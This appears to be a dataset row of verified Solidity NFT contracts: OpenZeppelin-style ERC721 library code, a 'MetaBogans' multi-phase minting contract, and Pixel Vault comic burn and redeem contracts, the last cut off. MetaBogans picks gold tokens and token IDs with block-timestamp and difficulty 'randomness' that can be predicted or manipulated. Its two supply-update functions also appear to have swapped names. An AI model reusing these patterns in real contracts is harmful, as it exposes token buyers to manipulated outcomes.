* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
contract MetaBogans is ERC721, Ownable, ERC721Enumerable, ReentrancyGuard {
using Strings for uint256;
uint256 public GIVEAWAY_NFT = 100;
uint256 public RESERVED_NFT = 100;
uint256 public EARLYSALE_NFT = 600;
uint256 public PRESALE_NFT = 1400;
uint256 public SALE_NFT_BATCH_ONE = 1400;
uint256 public SALE_NFT_BATCH_TWO = 1400;
uint256 public BREEDING_NFT = 1600;
uint256 public GOLD_NFT_EARLYSALE = 25;
uint256 public GOLD_NFT_PRESALE = 25;
uint256 public GOLD_NFT_SALE_BATCH_ONE = 25;
uint256 public GOLD_NFT_SALE_BATCH_TWO = 25;
uint256 public MAX_MINT_EARLYSALE = 3;
uint256 public MAX_MINT_PRESALE = 2;
uint256 public MAX_MINT_SALE_BATCH_ONE = 3;
uint256 public MAX_MINT_SALE_BATCH_TWO = 3;
uint256 public MAX_BY_MINT_IN_TRANSACTION_EARLYSALE = 3;
uint256 public MAX_BY_MINT_IN_TRANSACTION_PRESALE = 2;
uint256 public MAX_BY_MINT_IN_TRANSACTION_SALE_BATCH_ONE = 3;
uint256 public MAX_BY_MINT_IN_TRANSACTION_SALE_BATCH_TWO = 3;
uint256 public EARLYSALE_PRICE = 1 * 10**17;
uint256 public PRESALE_PRICE = 12 * 10**16;
uint256 public SALE_PRICE_BATCH_ONE = 13 * 10**16;
uint256 public SALE_PRICE_BATCH_TWO = 15 * 10**16;
uint256 public GIVEAWAY_MINTED;
uint256 public RESERVED_MINTED;
uint256 public EARLYSALE_MINTED;
uint256 public PRESALE_MINTED;
uint256 public SALE_MINTED_BATCH_ONE;
uint256 public SALE_MINTED_BATCH_TWO;
bool public earlysaleEnable = false;
bool public presaleEnable = false;
bool public saleEnableBatchOne = false;
bool public saleEnableBatchTwo = false;
bool public breedingEnable = false;
uint256[] public goldNFT;
bytes32 public merkleRootEarlySale;
bytes32 public merkleRootPreSale;
string private baseURI;
struct User {
uint256 earlySaleMint;
uint256 preSaleMint;
uint256 saleMintBatchOne;
uint256 saleMintBatchTwo;
}
mapping (address => User) public users;
mapping (uint256 => bool) public isGold;
constructor() ERC721('MetaBogans', 'MB') {}
/**************** Giveaway NFT Minting ******************************/
function mintGiveawayNFT(address _to, uint256 _count) public onlyOwner{
require(
GIVEAWAY_MINTED + _count <= GIVEAWAY_NFT,
"max limit reached"
);
for (uint256 i = 0; i < _count; i++) {
uint256 tokenId = _randMod();
_safeMint(_to, tokenId);
GIVEAWAY_MINTED++;
}
}
/**************** Reserved NFT Minting ******************************/
function mintReservedNFT(uint256 _count) public onlyOwner{
require(
RESERVED_MINTED + _count <= RESERVED_NFT,
"max limit reached"
);
for (uint256 i = 0; i < _count; i++) {
uint256 tokenId = _randMod();
_safeMint(msg.sender, tokenId);
RESERVED_MINTED++;
goldNFT.push(tokenId);
isGold[tokenId] = true;
}
}
/**************** Early Sale Minting ******************************/
function mintEarlySaleNFT(uint256 _count, bytes32[] calldata merkleProof) public payable{
bytes32 node = keccak256(abi.encodePacked(msg.sender));
require(
earlysaleEnable,
"Early sale is not enable"
);
require(
EARLYSALE_MINTED + _count <= EARLYSALE_NFT,
"Exceeds max limit"
);
require(
MerkleProof.verify(merkleProof, merkleRootEarlySale, node),
"MerkleDistributor: Invalid proof."
);
require(
users[msg.sender].earlySaleMint + _count <= MAX_MINT_EARLYSALE,
"Exceeds max mint limit per wallet"
);
require(
_count <= MAX_BY_MINT_IN_TRANSACTION_EARLYSALE,
"Exceeds max mint limit per tnx"
);
require(
msg.value >= EARLYSALE_PRICE * _count,
"Value below price"
);
for (uint256 i = 0; i < _count; i++) {
uint256 tokenId = _randMod();
_safeMint(msg.sender, tokenId);
EARLYSALE_MINTED++;
if(GOLD_NFT_EARLYSALE > 0)
{
if((EARLYSALE_NFT - EARLYSALE_MINTED) <= GOLD_NFT_EARLYSALE)
{
goldNFT.push(tokenId);
GOLD_NFT_EARLYSALE--;
isGold[tokenId] = true;
}
else
{
uint256 goldNumber = pickgold(i);
if(goldNumber==1 || goldNumber==10 || goldNumber==15)
{
goldNFT.push(tokenId);
GOLD_NFT_EARLYSALE--;
isGold[tokenId] = true;
}
}
}
}
users[msg.sender].earlySaleMint += _count;
}
/**************** Pre-Sale Minting ******************************/
function mintPreSaleNFT(uint256 _count, bytes32[] calldata merkleProof) public payable{
bytes32 node = keccak256(abi.encodePacked(msg.sender));
require(
presaleEnable,
"Pre-sale is not enable"
);
require(
PRESALE_MINTED + _count <= PRESALE_NFT,
"Exceeds max limit"
);
require(
MerkleProof.verify(merkleProof, merkleRootPreSale, node),
"MerkleDistributor: Invalid proof."
);
require(
users[msg.sender].preSaleMint + _count <= MAX_MINT_PRESALE,
"Exceeds max mint limit per wallet"
);
require(
_count <= MAX_BY_MINT_IN_TRANSACTION_PRESALE,
"Exceeds max mint limit per tnx"
);
require(
msg.value >= PRESALE_PRICE * _count,
"Value below price"
);
for (uint256 i = 0; i < _count; i++) {
uint256 tokenId = _randMod();
_safeMint(msg.sender, tokenId);
PRESALE_MINTED++;
if(GOLD_NFT_PRESALE > 0)
{
if((PRESALE_NFT - PRESALE_MINTED) <= GOLD_NFT_PRESALE)
{
goldNFT.push(tokenId);
GOLD_NFT_PRESALE--;
isGold[tokenId] = true;
}
else
{
uint256 goldNumber = pickgold(i);
if(goldNumber==14)
{
goldNFT.push(tokenId);
GOLD_NFT_PRESALE--;
isGold[tokenId] = true;
}
}
}
}
users[msg.sender].preSaleMint += _count;
}
/**************** Sale Minting Batch One******************************/
function mintSaleNFTBatchOne(uint256 _count) public payable{
require(
saleEnableBatchOne,
"Sale is not enable"
);
require(
SALE_MINTED_BATCH_ONE + _count <= SALE_NFT_BATCH_ONE,
"Exceeds max limit"
);
require(
users[msg.sender].saleMintBatchOne + _count <= MAX_MINT_SALE_BATCH_ONE,
"Exceeds max mint limit per wallet"
);
require(
_count <= MAX_BY_MINT_IN_TRANSACTION_SALE_BATCH_ONE,
"Exceeds max mint limit per tnx"
);
require(
msg.value >= SALE_PRICE_BATCH_ONE * _count,
"Value below price"
);
for (uint256 i = 0; i < _count; i++) {
uint256 tokenId = _randMod();
_safeMint(msg.sender, tokenId);
SALE_MINTED_BATCH_ONE++;
if(GOLD_NFT_SALE_BATCH_ONE > 0)
{
if((SALE_NFT_BATCH_ONE - SALE_MINTED_BATCH_ONE) <= GOLD_NFT_SALE_BATCH_ONE)
{
goldNFT.push(tokenId);
GOLD_NFT_SALE_BATCH_ONE--;
isGold[tokenId] = true;
}
else
{
uint256 goldNumber = pickgold(i);
if(goldNumber==10)
{
goldNFT.push(tokenId);
GOLD_NFT_SALE_BATCH_ONE--;
isGold[tokenId] = true;
}
}
}
}
users[msg.sender].saleMintBatchOne += _count;
}
/**************** Sale Minting Batch Two ******************************/
function mintSaleNFTBatchTwo(uint256 _count) public payable {
require(
saleEnableBatchTwo,
"Sale is not enable"
);
require(
SALE_MINTED_BATCH_TWO + _count <= SALE_NFT_BATCH_TWO,
"Exceeds max limit"
);
require(
users[msg.sender].saleMintBatchTwo + _count <= MAX_MINT_SALE_BATCH_TWO,
"Exceeds max mint limit per wallet"
);
require(
_count <= MAX_BY_MINT_IN_TRANSACTION_SALE_BATCH_TWO,
"Exceeds max mint limit per tnx"
);
require(
msg.value >= SALE_PRICE_BATCH_TWO * _count,
"Value below price"
);
for (uint256 i = 0; i < _count; i++) {
uint256 tokenId = _randMod();
_safeMint(msg.sender, tokenId);
SALE_MINTED_BATCH_TWO++;
if(GOLD_NFT_SALE_BATCH_TWO > 0)
{
if((SALE_NFT_BATCH_TWO - SALE_MINTED_BATCH_TWO) <= GOLD_NFT_SALE_BATCH_TWO)
{
goldNFT.push(tokenId);
GOLD_NFT_SALE_BATCH_TWO--;
isGold[tokenId] = true;
}
else
{
uint256 goldNumber = pickgold(i);
if(goldNumber==1)
{
goldNFT.push(tokenId);
GOLD_NFT_SALE_BATCH_TWO--;
isGold[tokenId] = true;
}
}
}
}
users[msg.sender].saleMintBatchTwo += _count;
}
/**************** Breeding Minting ******************************/
function mintBreedingNFT(uint256 NFTOne, uint256 NFTTwo, uint256 NFTThree) public{
require(
breedingEnable,
"Breeding is not enable"
);
require(
!isGold[NFTOne] && !isGold[NFTTwo] && !isGold[NFTThree],
"Gold NFT can't Burn"
);
require(
ownerOf(NFTOne) == msg.sender && ownerOf(NFTTwo) == msg.sender && ownerOf(NFTThree) == msg.sender,
"Invalid NFT"
);
_burn(NFTOne);
_burn(NFTTwo);
_burn(NFTThree);
uint256 tokenId = _randMod();
_safeMint(msg.sender, tokenId);
goldNFT.push(tokenId);
isGold[tokenId] = true;
}
function pickgold(uint256 loopNumber) public view returns (uint256) {
return uint256(uint256(keccak256(abi.encodePacked(loopNumber, block.timestamp, block.difficulty)))%20);
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable){
super._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) {
return super.supportsInterface(interfaceId);
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
require(_exists(_tokenId), "ERC721Metadata: URI query for nonexistent token");
return string(abi.encodePacked(baseURI, _tokenId.toString(), ".json"));
}
function setURI(string memory _URI) external onlyOwner {
baseURI = _URI;
}
function withdraw() external onlyOwner {
require(payable(msg.sender).send(address(this).balance));
}
function setBaseURI(string memory newBaseURI) public onlyOwner {
baseURI = newBaseURI;
}
function updatePrice(uint256 earlySalePrice, uint256 preSalePrice, uint256 salePriceBatchOne, uint256 salePriceBatchTwo) external onlyOwner {
EARLYSALE_PRICE = earlySalePrice;
PRESALE_PRICE = preSalePrice;
SALE_PRICE_BATCH_ONE = salePriceBatchOne;
SALE_PRICE_BATCH_TWO = salePriceBatchTwo;
}
function setEarlySaleStatus(bool status) public onlyOwner {
require(earlysaleEnable != status);
earlysaleEnable = status;
}
function setPreSaleStatus(bool status) public onlyOwner {
require(presaleEnable != status);
presaleEnable = status;
}
function setSaleStatusBatchOne(bool status) public onlyOwner {
require(saleEnableBatchOne != status);
saleEnableBatchOne = status;
}
function setSaleStatusBatchTwo(bool status) public onlyOwner {
require(saleEnableBatchTwo != status);
saleEnableBatchTwo = status;
}
function setBreedingStatus(bool status) public onlyOwner {
require(breedingEnable != status);
breedingEnable = status;
}
function updateMintLimit(uint256 maxMintEarlySale, uint256 maxMintPreSale, uint256 maxMintSaleBatchOne, uint256 maxMintSaleBatchTwo) external onlyOwner {
MAX_MINT_EARLYSALE = maxMintEarlySale;
MAX_MINT_PRESALE = maxMintPreSale;
MAX_MINT_SALE_BATCH_ONE = maxMintSaleBatchOne;
MAX_MINT_SALE_BATCH_TWO = maxMintSaleBatchTwo;
}
function updateMintLimitPerTransection(uint256 mintPerTransectionEarlySale, uint256 mintPerTransectionPreSale, uint256 mintPerTransectionSaleBatchOne, uint256 mintPerTransectionSaleBatchTwo) external onlyOwner {
MAX_BY_MINT_IN_TRANSACTION_EARLYSALE = mintPerTransectionEarlySale;
MAX_BY_MINT_IN_TRANSACTION_PRESALE = mintPerTransectionPreSale;
MAX_BY_MINT_IN_TRANSACTION_SALE_BATCH_ONE = mintPerTransectionSaleBatchOne;
MAX_BY_MINT_IN_TRANSACTION_SALE_BATCH_TWO = mintPerTransectionSaleBatchTwo;
}
function updateMerkleRootEarlySale(bytes32 newRoot) external onlyOwner {
merkleRootEarlySale = newRoot;
}
function updateMerkleRootPreSale(bytes32 newRoot) external onlyOwner {
merkleRootPreSale = newRoot;
}
function updateGoldSupply(uint256 EarlySaleSupply, uint256 PreSaleSupply, uint256 SaleBatchOneSupply, uint256 SaleBatchTwoSupply) external onlyOwner {
require(EarlySaleSupply + PreSaleSupply + SaleBatchOneSupply + SaleBatchTwoSupply == 4800);
EARLYSALE_NFT = EarlySaleSupply;
PRESALE_NFT = PreSaleSupply;
SALE_NFT_BATCH_ONE = SaleBatchOneSupply;
SALE_NFT_BATCH_TWO = SaleBatchTwoSupply;
}
function updateMintSupply(uint256 EarlySaleGoldSupply, uint256 PreSaleGoldSupply, uint256 SaleBatchOneGoldSupply, uint256 SaleBatchTwoGoldSupply) external onlyOwner {
require(EarlySaleGoldSupply + PreSaleGoldSupply + SaleBatchOneGoldSupply + SaleBatchTwoGoldSupply == 100);
GOLD_NFT_EARLYSALE = EarlySaleGoldSupply;
GOLD_NFT_PRESALE = PreSaleGoldSupply;
GOLD_NFT_SALE_BATCH_ONE = SaleBatchOneGoldSupply;
GOLD_NFT_SALE_BATCH_TWO = SaleBatchTwoGoldSupply;
}
uint256 constant private MAX_NFT = 6600;
uint[MAX_NFT] public indices;
uint nonce;
function _randMod() private returns (uint) {
uint totalSize = MAX_NFT - nonce;
uint index = uint(keccak256(abi.encodePacked(nonce, msg.sender, block.difficulty, block.timestamp))) % totalSize;
uint value = 0;
if (indices[index] != 0) {
value = indices[index];
} else {
value = index;
}
if (indices[totalSize - 1] == 0) {
indices[index] = totalSize - 1;
} else {
indices[index] = indices[totalSize - 1];
}
nonce++;
return value+1;
}
} | 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| v0.8.7+commit.e28d00a7 | true | 200 | Default | MIT | false | ipfs://6f68b1a988653d2f090787d1d7963b5010c54cf5109fd19ace94e8ff25b3329b |
|||
PVComicBurn | contracts/PVComicBurn.sol | 0xd0a07a76746707f6d6d36d9d5897b14a8e9ed493 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
interface ComicMinter is IERC721 {
function burn(uint256 tokenId) external;
}
contract RestrictedWindow is Ownable {
uint256 public WINDOW_OPENS = 0;
uint256 public WINDOW_CLOSES = 0;
event UpdatedWindow(uint256 start, uint256 end);
modifier inWindow() {
require(
WINDOW_OPENS > 0 &&
block.timestamp >= WINDOW_OPENS &&
block.timestamp <= WINDOW_CLOSES,
"not in window"
);
_;
}
function setWindow(
uint256 start,
uint256 end
) external onlyOwner {
require(
WINDOW_OPENS == 0 || block.timestamp < WINDOW_OPENS,
"window has started"
);
if (start == 0) {
require(end == 0, "clearing needs all to be 0");
} else {
require(block.timestamp < start, "start is in past");
require(end > start, "end not after start");
}
WINDOW_OPENS = start;
WINDOW_CLOSES = end;
emit UpdatedWindow(WINDOW_OPENS, WINDOW_CLOSES);
}
}
contract PVComicBurn is
ERC721("Pixel Vault Founder's DAO", "PVFD"),
ERC721Enumerable,
ReentrancyGuard,
RestrictedWindow
{
address public COMIC_TOKEN;
uint256 public constant MAX_COMIC_SUPPLY = 10000;
string private __baseURI;
mapping(uint256 => address) private _burners;
event Burned(address indexed burner, uint256 indexed tokenId);
constructor(
address comicAddress,
string memory baseURI,
uint256 open,
uint256 close
) {
COMIC_TOKEN = comicAddress;
WINDOW_OPENS = open;
WINDOW_CLOSES = close;
__baseURI = baseURI;
}
function swap(uint256[] calldata tokenIds) external nonReentrant inWindow {
uint256 count = tokenIds.length;
require(count <= 40, "Too many tokens to be burned");
uint256 tokenId;
for (uint256 i; i < count; i++) {
tokenId = tokenIds[i];
uint256 mintIndex = totalSupply();
ComicMinter(COMIC_TOKEN).burn(tokenId);
_safeMint(msg.sender, mintIndex);
_burners[tokenId] = msg.sender;
emit Burned(msg.sender, tokenId);
}
}
function getBurner(uint256 tokenId) external view returns (address) {
return _burners[tokenId];
}
function setBaseURI(string calldata newBaseURI) external onlyOwner {
__baseURI = newBaseURI;
}
function _baseURI() internal view override returns (string memory) {
return __baseURI;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return baseURI;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
super._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
}
contract PVComicRedeem is RestrictedWindow, ReentrancyGuard {
// DOUBLE CHECK THE CONTRACT IS CORRECT
address public COMIC_TOKEN = 0x5ab21Ec0bfa0B29545230395e3Adaca7d552C948;
// token id -> redeemer
mapping(uint256 => address) private _redeemers;
event Redeemed(address indexed redeemer, uint256 indexed tokenId);
constructor() {
// There is a 72 hour grace period before the window ends.
WINDOW_OPENS = 1629356400; // 2021-08-19 00:00:01 UTC
WINDOW_CLOSES = 1630566000; // 2021-09-02 00:00:00 UTC
}
function redeem(uint256[] calldata tokenIds)
external
nonReentrant
inWindow
{
uint256 count = tokenIds.length;
uint256 tokenId;
for (uint256 i; i < count; i++) {
tokenId = tokenIds[i];
require(
IERC721(COMIC_TOKEN).ownerOf(tokenId) == msg.sender,
"not owner"
);
require(_redeemers[tokenId] == address(0), "already redeemed");
_redeemers[tokenId] = msg.sender;
emit Redeemed(msg.sender, tokenId);
}
}
function getRedeemer(uint256 tokenId) external view returns (address) {
return _redeemers[tokenId];
}
